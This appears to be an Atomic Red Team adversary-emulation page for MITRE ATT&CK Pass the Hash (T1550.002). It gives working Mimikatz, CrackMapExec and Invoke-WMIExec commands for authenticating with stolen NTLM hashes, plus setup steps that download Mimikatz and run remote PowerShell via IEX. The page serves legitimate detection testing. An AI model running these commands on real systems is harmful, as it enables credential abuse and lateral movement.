Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
Note: must dump hashes first Reference
Supported Platforms: Windows
auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908
| Name | Description | Type | Default Value | |——|————-|——|—————| | user_name | username | string | Administrator| | ntlm | ntlm hash | string | cc36cf7a8514893efccd3324464tkg1a| | domain | domain | string | %userdnsdomain%| | mimikatz_path | mimikatz windows executable | path | %tmp%\mimikatz\x64\mimikatz.exe|
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command_prompt
#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"
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powershell
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2
$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
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2
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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
command execute with crackmapexec
Supported Platforms: Windows
auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9
| Name | Description | Type | Default Value | |——|————-|——|—————| | user_name | username | string | Administrator| | crackmapexec_exe | crackmapexec windows executable | path | C:\CrackMapExecWin\crackmapexec.exe| | command | command to execute | string | whoami| | ntlm | command | string | cc36cf7a8514893efccd3324464tkg1a| | domain | domain | string | %userdnsdomain%|
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command_prompt
#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}
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powershell
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if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}
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Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}
Use Invoke-WMIExec to Pass the Hash Note: must dump hashes first Reference
Supported Platforms: Windows
auto_generated_guid: f8757545-b00a-4e4e-8cfb-8cfb961ee713
| Name | Description | Type | Default Value | |——|————-|——|—————| | ntlm | ntlm hash | string | cc36cf7a8514893efccd3324464tkg1a| | user_name | username | string | Administrator| | command | Command to run on target system | string | hostname| | target | System to run command on | string | $env:COMPUTERNAME|
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powershell
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2
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}